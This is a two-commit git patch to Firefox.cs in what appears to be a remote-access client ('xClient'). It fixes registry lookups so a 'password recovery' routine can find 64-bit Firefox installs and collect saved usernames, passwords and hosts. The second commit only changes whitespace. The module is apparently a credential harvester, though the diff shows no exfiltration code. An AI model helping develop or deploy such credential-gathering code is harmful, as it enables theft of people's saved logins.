From bed7ed264a3d2deceff89f459be8dca054f22cbd Mon Sep 17 00:00:00 2001
From: d3agle <sellout89@gmail.com>
Date: Fri, 21 Aug 2015 12:57:32 -0500
Subject: [PATCH 1/2] PasswordRecovery partial fix

Load the correct registry values for 64 bit version of firefox

ref #339

LoadLibrary returns 0, won't load DLLs (x86/x64)
---
 Client/Core/Recovery/Browsers/Firefox.cs | 11 +++--------
 1 file changed, 3 insertions(+), 8 deletions(-)

diff --git a/Client/Core/Recovery/Browsers/Firefox.cs b/Client/Core/Recovery/Browsers/Firefox.cs
index c79c9db8..02b6214b 100644
--- a/Client/Core/Recovery/Browsers/Firefox.cs
+++ b/Client/Core/Recovery/Browsers/Firefox.cs
@@ -58,7 +58,6 @@ namespace xClient.Core.Recovery.Browsers
         /// <returns>List of Username/Password/Host</returns>
         public static List<RecoveredAccount> GetSavedPasswords()
         {
-
             List<RecoveredAccount> firefoxPasswords = new List<RecoveredAccount>();
             try
             {
@@ -84,7 +83,7 @@ namespace xClient.Core.Recovery.Browsers
             }
             catch (Exception)
             {
-
+                
             }
             return firefoxPasswords;
         }
@@ -190,8 +189,6 @@ namespace xClient.Core.Recovery.Browsers
                 return file;
             }
             throw new Exception("No Firefox logins.json was found");
-
-
         }
         private static DirectoryInfo GetFirefoxInstallPath()
         {
@@ -218,17 +215,15 @@ namespace xClient.Core.Recovery.Browsers
                     throw new NullReferenceException("Install string was null");
 
                 firefoxPath = new DirectoryInfo(installString);
-
-
             }
             else if (localMachine2 != null)
             {
-                string[] installedVersions = localMachine1.GetSubKeyNames();
+                string[] installedVersions = localMachine2.GetSubKeyNames();
                 // we'll take the first installed version, people normally only have one
                 if (installedVersions.Length == 0)
                     throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");
 
-                RegistryKey mainInstall = localMachine1.OpenSubKey(installedVersions[0]);
+                RegistryKey mainInstall = localMachine2.OpenSubKey(installedVersions[0]);
 
                 // get install directory
                 string installString = (string)mainInstall.OpenSubKey("Main").GetValue("Install Directory", null);

From 0988187c25720a7f5435980076587f08bc92955d Mon Sep 17 00:00:00 2001
From: d3agle <sellout89@gmail.com>
Date: Fri, 21 Aug 2015 12:59:23 -0500
Subject: [PATCH 2/2] format fix

---
 Client/Core/Recovery/Browsers/Firefox.cs | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/Client/Core/Recovery/Browsers/Firefox.cs b/Client/Core/Recovery/Browsers/Firefox.cs
index 02b6214b..ed3be1c8 100644
--- a/Client/Core/Recovery/Browsers/Firefox.cs
+++ b/Client/Core/Recovery/Browsers/Firefox.cs
@@ -26,7 +26,6 @@ namespace xClient.Core.Recovery.Browsers
 
         static Firefox()
         {
-
             try
             {
                 firefoxPath = GetFirefoxInstallPath();
@@ -83,7 +82,6 @@ namespace xClient.Core.Recovery.Browsers
             }
             catch (Exception)
             {
-                
             }
             return firefoxPasswords;
         }
@@ -180,7 +178,6 @@ namespace xClient.Core.Recovery.Browsers
 
             // return first profile, fuck it.
             return profiles[0];
-
         }
         private static FileInfo GetFile(DirectoryInfo profilePath, string searchTerm)
         {